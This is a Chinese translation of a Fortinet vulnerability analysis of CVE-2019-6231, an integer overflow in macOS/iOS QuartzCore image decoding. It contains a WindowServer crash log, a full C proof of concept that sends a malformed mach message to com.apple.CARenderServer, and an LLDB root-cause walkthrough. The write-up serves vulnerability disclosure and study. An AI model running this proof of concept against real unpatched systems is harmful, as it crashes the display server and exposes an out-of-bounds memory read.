MacOS/iOS CVE-2019-6231 漏洞深入分析

阅读量373606

|

发布时间 : 2019-01-28 15:15:09

x
译文声明

本文是翻译文章,文章原作者 fortinet,文章来源:fortinet.com

原文地址:https://www.fortinet.com/blog/threat-research/detailed-analysis-of-macos-ios-vulnerability-cve-2019-6231.html

译文仅供参考,具体内容表达以及含义原文为准。

 

CVE-2019-6231 漏洞是一个 QuartzCore 框架中处理图像时产生的整数溢出漏洞,具体的位置在 CA::Render::Image::decode() 函数中。

2019年1月22日,苹果发布了 macOS Mojave 10.14.3 以及 iOS 12.1.3,这次更新修复了许多安全漏洞,其中就包括 CVE-2019-6231 漏洞。

18年的12月14日,我曾经在 macOS Mojave 10.14.2 中发现了这个漏洞,并且在21日报告给了苹果。

然而遗憾的是,苹果回应这个问题已经在 macOS Mojave 10.14.3 beta 中被修复了,而这个版本是在12月19日发行的。

接下来,本文将对这个漏洞展开详细的分析。

漏洞概览

QuartzCore 是一个 macOS 和 iOS 用来渲染动画场景图形的框架,有时候也被成为 CoreAnimation。

QuartzCore 的渲染模式非常特别,它的图形操作都是运行再一个单独的进程中。

在 macOS 中,这个进程是 WindowServer, 在 iOS 中,这个进程是 backboard 。

QuartzCore 中有个一服务 com.apple.CARenderServer (也被称为 CARenderServer) 可以在 Safari 的沙箱中被访问, 并在 macOS 和 iOS 中都存在。

这个服务中有一个函数 CA::Render::Image::decode() ,用来为 QuartzCore 解析 Image 对象。然而,这个函数在解析 Image 对象时,存在一个整型溢出漏洞。

这个可能会导致一个恶意的应用对受限内存的访问。

以下就是 WindowServer 进程在触发漏洞时的日志。

Process:               WindowServer [57329]
Path:                  /System/Library/PrivateFrameworks/SkyLight.framework/Versions/A/Resources/WindowServer
Identifier:            WindowServer
Version:               600.00 (337.5)
Code Type:             X86-64 (Native)
Parent Process:        launchd [1]
Responsible:           WindowServer [57329]
User ID:               88

Date/Time:             2018-12-14 16:51:08.093 -0800
OS Version:            Mac OS X 10.14.2 (18C54)
Report Version:        12
Anonymous UUID:        0D2EB0AC-26C3-9DBB-CEF0-0060FA5B3A8B

Sleep/Wake UUID:       7F5E9869-8B81-4B2F-8BBC-54048DE83A26

Time Awake Since Boot: 15000 seconds
Time Since Wake:       7000 seconds

System Integrity Protection: disabled

Crashed Thread:        2  com.apple.coreanimation.render-server

Exception Type:        EXC_BAD_ACCESS (SIGSEGV)
Exception Codes:       KERN_INVALID_ADDRESS at 0x0000008000000018
Exception Note:        EXC_CORPSE_NOTIFY

Termination Signal:    Segmentation fault: 11
Termination Reason:    Namespace SIGNAL, Code 0xb
Terminating Process:   exc handler [57329]

External Modification Warnings:
Thread creation by external task.
Debugger attached to process.

VM Regions Near 0x8000000018:
    CoreAnimation          00000001b692e000-00000001bb837000 [ 79.0M] rw-/rw- SM=PRV 
-->
    STACK GUARD            0000700009f5e000-0000700009f5f000 [    4K] ---/rwx SM=NUL  stack guard for thread 6

Application Specific Information:
StartTime:2018-12-14 16:28:00
GPU:IG
MetalDevice for accelerator(0x3633): 0x7fd12a62bd58 (MTLDevice: 0x7fd12b035c00)
IOService:/AppleACPIPlatformExpert/PCI0@0/AppleACPIPCI/IGPU@2/AppleIntelFramebuffer@0

Thread 0:: Dispatch queue: com.apple.main-thread
0   libsystem_kernel.dylib           0x00007fff762f717a mach_msg_trap + 10
1   libsystem_kernel.dylib           0x00007fff762f76d0 mach_msg + 60
2   com.apple.SkyLight              0x00007fff6f2c95fc run_one_server_pass + 337
3   com.apple.SkyLight              0x00007fff6f2c9436 CGXRunOneServicesPass + 460
4   com.apple.SkyLight              0x00007fff6f2ca0bc server_loop + 96
5   com.apple.SkyLight              0x00007fff6f2ca055 SLXServer + 1149
6   WindowServer                        0x000000010d30e4d0 0x10d30d000 + 5328
7   libdyld.dylib                           0x00007fff761bded9 start + 1

Thread 1:
0   libsystem_kernel.dylib           0x00007fff762f717a mach_msg_trap + 10
1   libsystem_kernel.dylib           0x00007fff762f76d0 mach_msg + 60
2   com.apple.CoreDisplay                          0x00007fff48f09851 0x7fff48e57000 + 731217
3   com.apple.CoreDisplay                          0x00007fff48f099af 0x7fff48e57000 + 731567
4   libsystem_pthread.dylib                         0x00007fff763b1305 _pthread_body + 126
5   libsystem_pthread.dylib                         0x00007fff763b426f _pthread_start + 70
6   libsystem_pthread.dylib                         0x00007fff763b0415 thread_start + 13

Thread 2 Crashed:: com.apple.coreanimation.render-server
0   com.apple.CoreFoundation                   0x00007fff48f45575 CFRetain + 15
1   com.apple.QuartzCore                           0x00007fff540e674f CA::Render::Decoder::decode_colorspace() + 87
2   com.apple.QuartzCore                           0x00007fff5411f826 CA::Render::Texture::decode(CA::Render::Decoder*) + 50
3   com.apple.QuartzCore                           0x00007fff5400a112 CA::Render::Image::decode(CA::Render::Decoder*) + 1104
4   com.apple.QuartzCore                           0x00007fff540e6d33 CA::Render::Decoder::decode_object(CA::Render::Type) + 1075
5   com.apple.QuartzCore                           0x00007fff540e6983 CA::Render::Decoder::decode_object(CA::Render::Type) + 131
6   com.apple.QuartzCore                           0x00007fff5401d858 CA::Render::Layer::Layer(CA::Render::Decoder*) + 116
7   com.apple.QuartzCore                           0x00007fff540e6daf CA::Render::Decoder::decode_object(CA::Render::Type) + 1199
8   com.apple.QuartzCore                           0x00007fff540e78a8 CA::Render::decode_commands(CA::Render::Decoder*) + 329
9   com.apple.QuartzCore                           0x00007fff5409fb10 CA::Render::Server::ReceivedMessage::run_command_stream() + 748
10  com.apple.QuartzCore                          0x00007fff53f90358 CA::Render::Server::server_thread(void*) + 1968
11  com.apple.QuartzCore                          0x00007fff53f8fb92 thread_fun(void*) + 25
12  libsystem_pthread.dylib                        0x00007fff763b1305 _pthread_body + 126
13  libsystem_pthread.dylib                        0x00007fff763b426f _pthread_start + 70
14  libsystem_pthread.dylib                        0x00007fff763b0415 thread_start + 13

Thread 3:…….

[truncated]

我们可以看到,这个崩溃发生在线程 com.apple.coreanimation.render-server 中, 服务 com.apple.CARenderServer 是在/System/Library/Frameworks/QuartzCore.framework/Versions/A/QuartzCore 中实现的, 并且通过函数CA::Render::Server::register_name(CA::Render::Server this, const char a2) 中注册。

图1 函数CA::Render::Server::register_name

线程 com.apple.coreanimation.render-server 的功能是在函数 CA::Render::Server::server_thread 中实现的。

这个函数主要是用来接收并处理来自客户端的 mach message。

当这个线程接收到一个 msgh_id 为 40002 或者 40003 的 mach message 时,他会调用函数CA::Render::Server::ReceivedMessage::run_command_stream(CA::Render::Server::ReceivedMessage this)* 来处理接收到的命令序列。

图2 函数CA::Render::Server::server_thread

而这个漏洞正是在函数 CA::Render::Server::ReceivedMessage::run_command_stream 中。

 

Proof of Concept

接下来,我将利用以下PoC来触发这个漏洞:

#include <stdio.h>
#include <mach/i386/kern_return.h>
#include <mach/mach_traps.h>
#include <servers/bootstrap.h>
#include <dirent.h>
#include <sys/stat.h>
#include <time.h>
#include <dlfcn.h>
#include <unistd.h>

typedef struct quartz_register_client_s quartz_register_client_t;
struct quartz_register_client_s {
    mach_msg_header_t header;
    uint32_t body;
    mach_msg_port_descriptor_t ports[4];
    char padding[12];
};

typedef struct quartzcore_mach_msg quartzcore_mach_msg_t;
struct quartzcore_mach_msg{
    mach_msg_header_t header;
    char msg_body[712];
};

uint64_t get_filesize(const char *fn){
    struct stat st;
    stat(fn, &st);
    uint64_t fsize = st.st_size;
    return fsize;
};

int main(int argc, const char * argv[]) {

    mach_port_t p = MACH_PORT_NULL, bs_port = MACH_PORT_NULL;
    task_get_bootstrap_port(mach_task_self(), &bs_port);
    const char *render_service_name = "com.apple.CARenderServer";
    kern_return_t (*bootstrap_look_up)(mach_port_t, const char *, mach_port_t *) = dlsym(RTLD_DEFAULT, "bootstrap_look_up");
    kern_return_t kr = bootstrap_look_up(bs_port, render_service_name, &p);

    if (kr != KERN_SUCCESS) {
        return -1;
    }

    printf("[*] Get service of %s successully!n", render_service_name);

    quartz_register_client_t msg_register;
    memset(&msg_register, 0, sizeof(msg_register));
    msg_register.header.msgh_bits =
    MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, MACH_MSG_TYPE_MAKE_SEND_ONCE) |
    MACH_MSGH_BITS_COMPLEX;
    msg_register.header.msgh_remote_port = p;
    msg_register.header.msgh_local_port = mig_get_reply_port();
    msg_register.header.msgh_id = 40202;  // _XRegisterClient

    msg_register.body = 4;
    msg_register.ports[0].name = mach_task_self();
    msg_register.ports[0].disposition = MACH_MSG_TYPE_COPY_SEND;
    msg_register.ports[0].type = MACH_MSG_PORT_DESCRIPTOR;
    msg_register.ports[1].name = mach_task_self();
    msg_register.ports[1].disposition = MACH_MSG_TYPE_COPY_SEND;
    msg_register.ports[1].type = MACH_MSG_PORT_DESCRIPTOR;
    msg_register.ports[2].name = mach_task_self();
    msg_register.ports[2].disposition = MACH_MSG_TYPE_COPY_SEND;
    msg_register.ports[2].type = MACH_MSG_PORT_DESCRIPTOR;
    msg_register.ports[3].name = mach_task_self();
    msg_register.ports[3].disposition = MACH_MSG_TYPE_COPY_SEND;
    msg_register.ports[3].type = MACH_MSG_PORT_DESCRIPTOR;

    kr = mach_msg(&msg_register.header, MACH_SEND_MSG | MACH_RCV_MSG,
                  sizeof(quartz_register_client_t), sizeof(quartz_register_client_t),
                  msg_register.header.msgh_local_port, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (kr != KERN_SUCCESS) {
        return -1 ;
    }

    mach_port_t context_port = *(uint32_t *)((uint8_t *)&msg_register + 0x1c);
    uint32_t conn_id = *(uint32_t *)((uint8_t *)&msg_register + 0x30);

    printf("[*] context_port: 0x%x, conn_id: 0x%xn",context_port,conn_id);

    char *crash_log = "crash.data"; //size is 736.
    FILE *fp = fopen(crash_log, "rb");
    if(fp == NULL){
        printf("fopen error!n");
    }
    uint64_t fsize = get_filesize(crash_log);
    void *msg_buf = malloc(fsize);
    memset(msg_buf, 0, fsize);
    fread(msg_buf, fsize, 1, fp);


    quartzcore_mach_msg_t qc_mach_msg = {0};
    qc_mach_msg.header.msgh_bits = MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0) | MACH_MSGH_BITS_COMPLEX;
    qc_mach_msg.header.msgh_remote_port = context_port;
    qc_mach_msg.header.msgh_id = 40002;

    memset(qc_mach_msg.msg_body, 0x0, sizeof(qc_mach_msg.msg_body));
    *(uint32_t *)(qc_mach_msg.msg_body + 0) = 0x1;  // Ports count
    memcpy(qc_mach_msg.msg_body+4+12, msg_buf+0x1c+0xc, 736-0x1c-0xc);
    *(uint32_t *)(qc_mach_msg.msg_body + 4 + 12 + 4) = conn_id;

    kr = mach_msg(&qc_mach_msg.header, MACH_SEND_MSG,736, 0, 0, MACH_MSG_TIMEOUT_NONE, MACH_PORT_NULL);
    if (kr != KERN_SUCCESS) {
        printf("[-] Send message failed: 0x%dn", kr);
        return -1 ;
    }
    return 0;
}

正常的 mach message 与恶意的 mach message的不同已经在下图中的字段中标明:

图3 原始 mach message 与恶意的 mach message 之间的比较

从图3可以看出,我们只需要把 0x142 处的 0x00 修改为 0x80 就能够触发这个漏洞。

为了发送这个恶意的 mach message, 我们首先需要发送一个 msgh_id 为 40202的 mach message (相应的处理函数为 _XRegisterClient) 来获取每个新接入客户端的 connection id

获取到 connection id 之后,会把 connection id 写入相应的位置 (0x2C), 最终,利用这个修改后的 mach message 触发该漏洞。

 

漏洞原因溯源

在这一部分,我们将利用LLDB对这个漏洞进行动态调试,找出漏洞形成的根本原因。

需要注意的是,你需要通过 SSH 模式对 WindowServer 进程进行调试。

根据线程崩溃时的函数栈,我们可以在 CA::Render::Server::ReceivedMessage::run_command_stream 函数上设置一个条件中断。

br s -n CA::Render::Server::ReceivedMessage::run_command_stream
br mod  -c '*(int*)($r13+0x2c) == [conn_id]'

其中 conn_id 可以设置为PoC代码在79行打印出来的conn_id。

当命中这个断点后,我们可以查看发送的恶意 mach message。

其中 r13 寄存器指向了恶意 mach message。

(lldb) c
Process 172 resuming
Process 172 stopped
* thread #3, name = 'com.apple.coreanimation.render-server', stop reason = breakpoint 1.1
    frame #0: 0x00007fff3fca6824 QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream()
QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream:
->  0x7fff3fca6824 <+0>: pushq  %rbp
    0x7fff3fca6825 <+1>: movq   %rsp, %rbp
    0x7fff3fca6828 <+4>: pushq  %r15
    0x7fff3fca682a <+6>: pushq  %r14
Target 0: (WindowServer) stopped.
(lldb) re read
General Purpose Registers:
       rax = 0x0000000000000000
       rbx = 0x0000000000009c42
       rcx = 0x0000000000000002
       rdx = 0x000000000000c203
       rdi = 0x000070000cc52ca0
       rsi = 0x000000000000c203
       rbp = 0x000070000cc52ef0
       rsp = 0x000070000cc51c78
        r8 = 0x000000000001450b
        r9 = 0x0000000000000000
       r10 = 0x0000000000001000
       r11 = 0x0000000000000202
       r12 = 0x0000000000000000
       r13 = 0x000070000cc51ca0
       r14 = 0x00007fff8ece4b20  QuartzCore`CA::Render::Server::_callback_lock
       r15 = 0x00007fd93f2f5300
       rip = 0x00007fff3fca6824  QuartzCore`CA::Render::Server::ReceivedMessage::run_command_stream()
    rflags = 0x0000000000000293
        cs = 0x000000000000002b
        fs = 0x0000000000000000
        gs = 0x0000000000000000
(lldb) x -c 0x2e0 0x000070000cc51ca0
0x70000cc51ca0: 00 11 00 80 e0 02 00 00 00 00 00 00 2f d5 12 00  ....?......./?..
0x70000cc51cb0: 00 00 00 00 42 9c 00 00 01 00 00 00 00 00 00 00  ....B...........
0x70000cc51cc0: 00 00 00 00 00 00 00 00 01 00 00 00 97 9b 35 60  ..............5`
0x70000cc51cd0: 3b fe 27 59 18 ae 77 40 01 f0 9b 00 06 7f 7f 00  ;?'Y.?w@.?......
0x70000cc51ce0: 00 c3 01 00 00 01 30 97 00 06 7f 7f 00 00 c4 01  .?....0.......?.
0x70000cc51cf0: 00 00 02 40 be 30 06 7f 7f 00 00 a5 01 00 00 1c  ...@?0.....?....
0x70000cc51d00: 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x70000cc51d10: 00 00 ff 00 01 01 c9 e7 03 2c d0 01 04 00 00 00  ..?...??.,?.....
0x70000cc51d20: 00 f0 00 00 00 00 00 68 84 40 00 00 00 00 00 20  .?.....h.@.....
0x70000cc51d30: 7c 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00  |@..............
0x70000cc51d40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x70000cc51d50: 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 20  ...............
0x70000cc51d60: 00 02 f0 bb 30 06 7f 7f 00 00 a6 01 00 00 1c 02  ..?0.....?.....
0x70000cc51d70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x70000cc51d80: 00 ff 00 02 01 c9 e7 03 2c d0 01 04 00 00 00 00  .?...??.,?......
0x70000cc51d90: f0 00 00 00 00 00 40 46 40 00 00 00 00 00 00 22  ?.....@F@......"
0x70000cc51da0: 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  @...............
0x70000cc51db0: 00 00 00 00 00 00 40 56 40 00 00 00 00 00 00 32  ......@V@......2
0x70000cc51dc0: 40 fe 60 9d 21 06 7f 7f 00 00 c5 01 00 00 16 00  @?`.!.....?.....
0x70000cc51dd0: 14 01 01 b2 00 00 00 24 00 00 00 00 03 00 00 00  ...?...$........
0x70000cc51de0: 00 00 80 01 fe e0 1d 20 06 7f 7f 00 00 c6 01 00  ....??. .....?..
0x70000cc51df0: 00 2d 39 00 00 6d 00 00 00 00 00 00 00 00 00 00  .-9..m..........
0x70000cc51e00: 00 00 00 00 03 00 00 80 3f 00 00 00 00 00 00 00  ........?.......
0x70000cc51e10: 00 00 00 80 3f 00 00 80 3f 00 00 80 3f 00 00 80  ....?...?...?...
0x70000cc51e20: 3f 00 00 00 00 00 00 00 00 00 00 19 00 20 00 02  ?............ ..
0x70000cc51e30: c0 ba 30 06 7f 7f 00 00 a9 01 00 00 1c 02 00 00  ??0.....?.......
0x70000cc51e40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff  ...............?
0x70000cc51e50: 00 01 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00  ...??.,?......?.
0x70000cc51e60: 00 00 00 00 64 84 40 00 00 00 00 00 10 77 40 00  ....d.@......w@.
0x70000cc51e70: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x70000cc51e80: 00 00 00 00 40 56 40 00 00 00 00 00 00 32 40 00  ....@V@......2@.
0x70000cc51e90: 00 00 00 00 00 00 00 00 00 00 18 00 20 00 02 80  ............ ...
0x70000cc51ea0: b4 30 06 7f 7f 00 00 bf 01 00 00 1c 02 00 00 00  ?0.....?........
0x70000cc51eb0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00  ..............?.
0x70000cc51ec0: 01 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 00  ..??.,?......?..
0x70000cc51ed0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x70000cc51ee0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x70000cc51ef0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x70000cc51f00: 00 00 00 00 00 00 00 00 00 00 00 20 00 02 90 b1  ........... ...?
0x70000cc51f10: 11 06 7f 7f 00 00 c0 01 00 00 1c 02 00 00 00 00  ......?.........
0x70000cc51f20: 00 00 00 00 00 00 00 00 00 00 00 00 00 ff 00 01  .............?..
0x70000cc51f30: 01 c9 e7 03 2c d0 01 04 00 00 00 00 f0 00 00 00  .??.,?......?...
0x70000cc51f40: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x70000cc51f50: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x70000cc51f60: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00  ................
0x70000cc51f70: 00 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00  .......... .....
(lldb)

函数 CA::Render::Decoder::decode_object(CA::Render::Decoder this, CA::Render::Decoder a2) 可以解码所有类型的对象数据。

内存中 0x70000cc51d6e 处的数据是一个 Layer 对象(在图4中标记为绿色)。

图4 恶意 mach message

图5是用来解析 Layer 对象的代码

图5 Layer 对象解析代码

我们来看看一个 Layer 对象是如何被解析的,下图表明了一个 Layer 对象中每个域(field)的含义

图6 Layer 对象中每个域的含义

对 Layer 对象进行解析的函数 CA::Render::Layer::Layer(CA::Render::Layer this, CA::Render::Decoder a2) 的实现如下:

图7 函数CA::Render::Layer::Layer

我们可以看到,后面的数据也是一个对象。接下来,我们追踪一下后面那个对象是怎么被处理的。

图8 函数CA::Render::Decoder::decode_object

图8所示,那个对象的第一个字节代表了这个对象的类型。0x16表示这个对象是一个Image对象(图9)

图9 解码图片的代码分支

接下来,我们看看函数 CA::Render::Image::decode 是如何解码一个 Image 对象的。

图10 函数CA::Render::Image::decode

图11 中表示了一个 Image 对象中每个域的含义。

图11 Image 对象中每个域的含义

我们可以看到,最后的8个字节(00 03 00 00 00 00 00 80)被解码成为了size_t类型,它的值就是我们设置的异常值。

图12 mach message 中的异常值

在图10中,v9的值就会被解析成0x8000000000000300,然后被作为一个参数传递给CA::Render::validate_rowbytes函数。

接下来,我们仔细分析一下CA::Render::validate_rowbytes函数如何来处理这个值。

图13 函数CA::Render::validate_rowbytes

不难看出,函数CA::Render::validate_rowbytes 中的运算 a2 (_QWORD )(a3 + 8LL v4)存在整型溢出。

根据图11所述,a2的通过函数CA::Render::Decoder::decode_int32获取,值为0x24。

所以v6的值会因为整型溢出而等于0。

整个函数的返回值为0。

而正常情况下,它的返回值应该是1。

现在回到图10中,看到因为函数 CA::Render::validate_rowbytes 返回了0, 导致程序运行到了分支 LABEL_31。

然后调用 CA::Render::Texture::decode 去解码后面的数据,图14就是函数 CA::Render::Texture::decode 的实现。

图14 函数CA::Render::Texture::decode

可以看到,在函数CA::Render::Texture::decode中,接下来会调用函数 CA::Render::Decoder::decode_colorspace 来读取 color space 数据。

图15 函数CA::Render::Decoder::decode_colorspace

首先,它会解码一个 int8 类型的整数,结果是0x01。

它接下来可以执行到 case 1 的分支。

v3 的值为 0xFE, 并且会将 v3 作为参数传给函数 CAGetColorSpace

函数 CAGetColorSpace 的实现如下:

图16 函数CAGetColorSpace

在函数 CAGetColorSpace中,由于a1为 0xFE,因此对 colorspaces 数组取值的索引为 0xFE,超过了 colarspaces 数组的最大索引,因此实现了对受限内存的访问。

图17 colorspaces 数组

如图18所示,对受限内存的访问地址为0x291EE0(0x2916F0+0xFE*8)。

图18 受限内存的地址

因此,函数 CAGetColorSpace 的返回值为0x8000000010。

很明显,这是一个非法的内存地址。

当这个地址被作为参数传递给函数 CFRetain,它会抛出一个 EXC_BAD_ACCESS 的异常。

 

总结

现在,我们已经深入分析了 CVE-2019-6231 漏洞。

尽管这个漏洞影响了 macOS 和 iOS,然而在这个博客中,我们只是深入分析了它在 macOS 上的行为。

 

受影响的版本

macOS Sierra 10.12.6, macOS High Sierra 10.13.6, macOS Mojave 10.14.2

iPhone 5s 或更高版本, iPad Air 或更高版本, and iPod touch 6

 

参考文献

https://support.apple.com/en-us/HT209446
https://support.apple.com/en-us/HT209443
https://ssd-disclosure.com/index.php/archives/3796

本文翻译自fortinet.com 原文链接。如若转载请注明出处。
分享到:微信
+13赞
收藏
MoonKey
分享到:微信

发表评论

Copyright © 北京奇虎科技有限公司 三六零数字安全科技集团有限公司 安全KER All Rights Reserved 京ICP备08010314号-66